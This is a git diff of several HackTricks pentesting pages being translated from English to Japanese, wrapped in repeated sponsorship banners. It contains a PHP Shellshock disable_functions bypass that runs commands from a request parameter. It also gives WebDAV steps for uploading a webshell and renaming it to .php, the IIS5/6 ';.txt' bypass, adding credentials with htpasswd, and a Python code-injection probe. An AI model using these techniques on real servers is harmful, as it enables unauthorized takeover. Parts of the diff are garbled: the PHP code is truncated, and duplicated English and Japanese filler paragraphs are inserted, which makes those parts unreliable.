☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md index 40d04ce3b..c35fe4d79 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-php-5.x-shellshock-exploit.md @@ -1,67 +1,59 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# PHP 5.x Shellshock Exploit -From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) - +[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)から ```php $tmp 2>&1"); - // In Safe Mode, the user may only alter environment variables whose names - // begin with the prefixes supplied by this directive. - // By default, users will only be able to set environment variables that - // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, - // PHP will let the user modify ANY environment variable! - mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail - } - else return "Not vuln (not bash)"; - $output = @file_get_contents($tmp); - @unlink($tmp); - if($output != "") return $output; - else return "No output, or not vuln."; +if(strstr(readlink("/bin/sh"), "bash") != FALSE) { +$tmp = tempnam(".","data"); +putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); +// In Safe Mode, the user may only alter environment variables whose names +// begin with the prefixes supplied by this directive. +// By default, users will only be able to set environment variables that +// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty, +// PHP will let the user modify ANY environment variable! +mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail +} +else return "Not vuln (not bash)"; +$output = @file_get_contents($tmp); +@unlink($tmp); +if($output != "") return $output; +else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?> ``` - - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/put-method-webdav.md b/network-services-pentesting/pentesting-web/put-method-webdav.md index 656d66b99..9ad77cb17 100644 --- a/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -3,8 +3,8 @@ ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,130 +12,162 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -A **HTTP Server with WebDav** active is a server where you probably can **update, delete, move, copy** files. **Sometimes** you **need** to have **valid credentials** (usually check with HTTP Basic Authentication). +アクティブな**WebDavを持つHTTPサーバー**は、おそらくファイルを**更新、削除、移動、コピー**することができるサーバーです。**時には**有効な資格情報**(通常はHTTPベーシック認証で確認)が必要です。 -You should try to **upload** some **webshell** and **execute** it from the web server to take control over the server.\ -Usually, to **connect** a WebDav server you will need valid **credentials**: [**WebDav bruteforce**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth) _(Basic Auth)_. +Webサーバーから**いくつかのWebシェルをアップロード**して**実行**し、サーバーを制御しましょう。\ +通常、WebDavサーバーに接続するには、有効な**資格情報**が必要です:[**WebDavブルートフォース**](../../generic-methodologies-and-resources/brute-force.md#http-basic-auth)(基本認証)。 -Other common configuration is to **forbid uploading** files with **extensions** that will be **executed** by the web server, you should check how to **bypass this:** +他の一般的な設定は、Webサーバーによって**実行される**ファイルの**拡張子**で**ファイルのアップロードを禁止**することです。これを**バイパス**する方法を確認する必要があります。 -* **Upload** files with **executable extensions** (maybe it's not forbidden). -* **Upload** files **without executable extensions** (like .txt) and try to **rename** the file (move) with an **executable extension**. -* **Upload** files **without executable extensions** (like .txt) and try to **copy** the file (move) with **executable extension.** +* **実行可能な拡張子**を持つファイルを**アップロード**します(おそらく禁止されていない場合)。 +* **実行可能な拡張子**を持たないファイル(.txtなど)を**アップロード**し、ファイルを**実行可能な拡張子**で**名前を変更**(移動)してみてください。 +* **実行可能な拡張子**を持たないファイル(.txtなど)を**アップロード**し、ファイルを**実行可能な拡張子**で**コピー**(移動)してみてください。 ## DavTest -**Davtest** try to **upload several files with different extensions** and **check** if the extension is **executed**: - +**Davtest**は、さまざまな拡張子を持つ複数のファイルを**アップロード**し、拡張子が**実行されるかどうか**を**チェック**します: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` - -Output sample: +出力サンプル: ![](<../../.gitbook/assets/image (19) (1).png>) -This doesn't mean that **.txt** and **.html extensions are being executed**. This mean that you can **access this files** through the web. +これは、**.txt**および**.html拡張子が実行されている**ことを意味しません。これは、これらのファイルに**Web経由でアクセスできる**ことを意味します。 ## Cadaver -You can use this tool to **connect to the WebDav** server and perform actions (like **upload**, **move** or **delete**) **manually**. - +このツールを使用して、**WebDavサーバーに接続**し、**アップロード**、**移動**、**削除**などの操作を**手動で**実行できます。 ``` cadaver ``` +## PUTリクエスト -## PUT request +A PUT request is an HTTP method used to update or create a resource on a server. It is commonly used in web development and web services. The PUT method allows the client to send data to the server to update an existing resource or create a new one. +PUTリクエストは、サーバー上のリソースを更新または作成するために使用されるHTTPメソッドです。これは、ウェブ開発やウェブサービスでよく使用されます。PUTメソッドを使用すると、クライアントは既存のリソースを更新するためにデータをサーバーに送信したり、新しいリソースを作成したりすることができます。 ``` curl -T 'shell.txt' 'http://$ip' ``` +## MOVE リクエスト -## MOVE request +The MOVE request is an HTTP method used in WebDAV (Web Distributed Authoring and Versioning) to move a resource from one location to another. It is similar to the HTTP PUT method, but instead of creating a new resource, it moves an existing resource to a new location. +MOVE リクエストは、WebDAV(Web Distributed Authoring and Versioning)で使用されるHTTPメソッドであり、リソースを1つの場所から別の場所に移動するために使用されます。これはHTTP PUTメソッドと似ていますが、新しいリソースを作成する代わりに、既存のリソースを新しい場所に移動します。 + +### Syntax + +The syntax for the MOVE request is as follows: + +MOVE /source-URL HTTP/1.1 +Host: example.com +Destination: /destination-URL + +### Syntax(構文) + +MOVE リクエストの構文は次のようになります: + +MOVE /source-URL HTTP/1.1 +Host: example.com +Destination: /destination-URL + +### Example + +Here is an example of a MOVE request: + +``` +MOVE /file.txt HTTP/1.1 +Host: example.com +Destination: /new-folder/file.txt +``` + +### Example(例) + +以下は MOVE リクエストの例です: + +``` +MOVE /file.txt HTTP/1.1 +Host: example.com +Destination: /new-folder/file.txt +``` + +In this example, the file.txt resource located at the root of the server is moved to the /new-folder/file.txt location. + +この例では、サーバーのルートにある file.txt リソースが /new-folder/file.txt の場所に移動されます。 ``` curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` - ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、自動化することができます。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## IIS5/6 WebDav Vulnerability +## IIS5/6 WebDavの脆弱性 -This vulnerability is very interesting. The **WebDav** does **not allow** to **upload** or **rename** files with the extension **.asp**. But you can **bypass** this **adding** at the end of the name **";.txt"** and the file will be **executed** as if it were a .asp file (you could also **use ".html" instead of ".txt"** but **DON'T forget the ";"**). +この脆弱性は非常に興味深いです。**WebDav**は、拡張子**.asp**のファイルを**アップロード**または**名前を変更**することを**許可しません**。しかし、名前の末尾に**";.txt"**を追加することで、この制限を**バイパス**することができ、ファイルは.aspファイルとして**実行**されます(".txt"の代わりに".html"を使用することもできますが、**";"を忘れないでください**)。 -Then you can **upload** your shell as a ".**txt" file** and **copy/move it to a ".asp;.txt"** file. An accessing that file through the web server, it will be **executed** (cadaver will said that the move action didn't work, but it did). +その後、シェルを".**txtファイル**"としてアップロードし、それを".asp;.txtファイル"に**コピー/移動**します。Webサーバーを介してそのファイルにアクセスすると、それが**実行**されます(cadaverは移動アクションが機能しなかったと言いますが、実際には機能しています)。 ![](<../../.gitbook/assets/image (18) (1) (1).png>) -## Post credentials +## 認証情報の投稿 -If the Webdav was using an Apache server you should look at configured sites in Apache. Commonly:\ +WebdavがApacheサーバーを使用している場合は、Apacheで構成されたサイトを確認する必要があります。一般的には:\ _**/etc/apache2/sites-enabled/000-default**_ -Inside it you could find something like: - +その中には、次のようなものが見つかるかもしれません: ``` ServerAdmin webmaster@localhost - Alias /webdav /var/www/webdav - - DAV On - AuthType Digest - AuthName "webdav" - AuthUserFile /etc/apache2/users.password - Require valid-user +Alias /webdav /var/www/webdav + +DAV On +AuthType Digest +AuthName "webdav" +AuthUserFile /etc/apache2/users.password +Require valid-user ``` - -As you can see there is the files with the valid **credentials** for the **webdav** server: - +以下に、**WebDAV**サーバーの有効な**資格情報**を持つファイルがあることがわかります: ``` /etc/apache2/users.password ``` +この種のファイルの中には、**ユーザー名**とパスワードの**ハッシュ**が含まれています。これらは、WebDAVサーバーがユーザーを認証するために使用している資格情報です。 -Inside this type of files you will find the **username** and a **hash** of the password. These are the credentials the webdav server is using to authenticate users. - -You can try to **crack** them, or to **add more** if for some reason you wan to **access** the **webdav** server: - +これらを**クラック**するか、何らかの理由で**WebDAV**サーバーに**アクセス**したい場合には、追加することもできます。 ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` - -To check if the new credentials are working you can do: - +新しい資格情報が機能しているかどうかを確認するには、次の操作を行うことができます: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/pentesting-web/python.md b/network-services-pentesting/pentesting-web/python.md index 345ad527f..3d3f7c04d 100644 --- a/network-services-pentesting/pentesting-web/python.md +++ b/network-services-pentesting/pentesting-web/python.md @@ -4,27 +4,25 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Server using python - -test a possible **code execution**, using the function _str()_: +## Pythonを使用したサーバー +関数_str()_を使用して、可能な**コードの実行**をテストします。 ```python "+str(True)+" #If the string True is printed, then it is vulnerable ``` - -### Tricks +### トリック {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) @@ -42,14 +40,14 @@ test a possible **code execution**, using the function _str()_: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/pentesting-web/rocket-chat.md b/network-services-pentesting/pentesting-web/rocket-chat.md index 4aa91eb71..3a7d1fd81 100644 --- a/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/network-services-pentesting/pentesting-web/rocket-chat.md @@ -4,54 +4,52 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** ## RCE -If you are admin inside Rocket Chat you can get RCE. +Rocket Chat内で管理者権限を持っている場合、RCEを取得することができます。 -* Got to **`Integrations`** and select **`New Integration`** and choose any: **`Incoming WebHook`** or **`Outgoing WebHook`**. - * 